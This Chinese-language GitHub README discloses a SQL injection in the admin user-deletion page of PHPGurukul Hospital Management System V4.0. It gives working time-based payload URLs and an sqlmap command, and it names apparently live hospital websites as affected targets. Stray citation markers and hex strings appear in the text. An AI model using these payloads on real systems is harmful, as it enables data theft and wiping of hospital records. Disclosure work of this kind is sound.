Shaon-Xis/PHPGurukul-HMS-SQLi-PoC

GitHub: Shaon-Xis/PHPGurukul-HMS-SQLi-PoC

针对 PHPGurukul 医院管理系统 V4.0 后台用户管理模块中存在的已认证 SQL 注入漏洞的验证与分析。

Stars: 0 | Forks: 0

# PHPGurukul Hospital Management System (HMS) V4.0 (Admin Module) SQL 注入漏洞 ## 1. 漏洞概述 | 字段 | 内容 | | :--- | :--- | | **系统名称** | PHPGurukul Hospital Management System (HMS) | | **厂商网站** | [https://phpgurukul.com/](https://phpgurukul.com/) | | **受影响版本** | V4.0 (最新版) 及部分旧版本 | | **漏洞类型** | SQL 注入 (SQLi) | | **漏洞文件** | `/hospital/hms/admin/manage-users.php` | | **严重程度** | **高/严重** (管理员权限滥用,数据删除,信息泄露) | | **报告者** | yan1451 | | **日期** | 2026-02-02 | ## 2. 漏洞描述 在 **PHPGurukul Hospital Management System (HMS) V4.0** 的后端用户管理模块 (`/hospital/hms/admin/manage-users.php`) 中发现了一个严重的 **SQL 注入漏洞**。 系统在处理管理员删除用户的请求时未能对输入进行验证。后端代码直接从 URL 获取 `id` 参数,并在没有任何输入验证、过滤或预处理语句的情况下将其拼接到 SQL `DELETE` 语句中[cite: 111]。 一旦攻击者获得了后端访问权限(或通过 CSRF/XSS 链式攻击),他们就可以构造恶意的 `id` 参数(例如包含 Time-based Blind payloads)来执行任意 SQL 命令。关键在于,由于这发生在 `DELETE` 语句中,攻击者不仅可以通过盲注窃取数据,还可以注入一个“恒真”条件(如 `OR 1=1`)以**瞬间清空整个用户表**,导致严重的拒绝服务[cite: 111]。 ## 3. 技术分析 ### 漏洞代码逻辑 该漏洞位于 `hospital/hms/admin/manage-users.php`。 在第 12 行左右,程序将 `$_GET['id']` 赋值给 `$uid` 变量。 在第 13 行左右,它使用 `mysqli_query` 直接执行删除操作[cite: 113]。 **文件:** `hospital/hms/admin/manage-users.php` ``` // File: hospital/hms/admin/manage-users.php if(isset($_GET['del'])) { $uid=$_GET['id']; // [Vulnerability] Direct input retrieval // [Vulnerability] Direct concatenation into DELETE statement without sanitization mysqli_query($con,"delete from users where id ='$uid'"); $_SESSION['msg']="data deleted !!"; } ``` f936a3dc6e6d0eb0f346573e93e0f10f ## 4. 概念验证 (复现步骤) 1. **环境:** Windows 10 + phpStudy (Apache/MySQL)[cite: 121]。 2. **访问:** 登录管理员仪表板并导航到 **Users -> Manage Users**。 3. **攻击:** 构造一个包含 Time-based Blind payload 的恶意 URL: http://localhost/hospital/hms/admin/manage-users.php?id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+&del=delete 4. **执行:** 在浏览器地址栏中输入该 URL 并按 Enter 键[cite: 126, 127]。 5. **结果:** 服务器响应时间约为 **5.04 秒**,明显超过正常响应时间。这证明数据库成功执行了 `SLEEP(5)` 命令[cite: 128]。 425e1a188241759110fc5b6a5cd307c7 ## 5. 深度验证与自动化测试 为了满足严格的验证标准,使用 SQLMap 和 Burp Suite 进一步验证了该漏洞,以确认提取敏感数据库字段的能力。 ### 5.1 数据库枚举 (SQLMap) **目标:** 提取数据库核心字段。 **工具:** SQLMap (Level 5, Risk 3)。 **命令:** ``` python sqlmap.py -r manage_users.txt -p id --technique=T --level=5 --risk=3 --dbms=mysql --batch --current-user --current-db ``` **结果:** SQLMap 成功提取了底层数据库信息: * **当前用户:** `'root@localhost'` (最高权限) * **当前数据库:** `'hms'` [cite: 151, 152, 153] c433ce1564d73a947ec1d1606518abfd ### 5.2 注入逻辑验证 (Burp Suite) **目标:** 通过 Time-based Blind 验证逻辑执行。 **Payload:** `id=9999' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)--+` **结果:** 服务器响应时间达到 **12,181 ms** (约 12 秒)。此延迟证实攻击者的 SQL 语句已被后端数据库解析并执行[cite: 156, 157]。 60ceac7d875b5df893ef4e5e595487b6 ## 6. 公开的受影响实例 (互联网案例研究) 指纹搜索(指纹: "Hospital Management System" / Admin Login / URL 结构)证实该软件被广泛部署。 * **案例 1:** `http://beeyo.et/hms/` (埃塞俄比亚医疗站点;登录页面与指纹匹配)[cite: 133, 134]。 * **案例 2:** `http://apexcareshospital.com/hms/` (Apex Cares Hospital;后端路径 `/hms/admin/` 匹配)[cite: 136, 137]。 * **案例 3:** `http://49.249.28.218:8081/.../hms/admin/` (基于 IP 的站点保留了完整路径特征)[cite: 139, 140]。 *(注: 这些示例仅用于指纹验证;未对这些目标进行主动攻击。)* ## 7. 修复建议 1. **使用预处理语句:** 强烈建议开发者对 SQL 查询使用 `prepare` 和 `bind_param` 方法。这将数据与代码分离,完全防止 SQL 注入[cite: 142]。 2. **整数转换:** 由于 `id` 字段应为数字,请在使用参数之前使用 `intval()` 强制进行类型转换[cite: 143]。 **安全代码示例:** $uid = intval($_GET['id']); // 然后使用预处理语句...
标签:CISA项目, CVE, DoS, HMS, MySQL注入, PHPGurukul, PHP安全, PoC, SQL查询, Time-based Blind, Web安全, 医疗安全, 医院管理系统, 拒绝服务, 数字签名, 数据删除, 暴力破解, 漏洞靶场, 管理后台漏洞, 蓝队分析, 输入验证缺失, 防御检测, 高危漏洞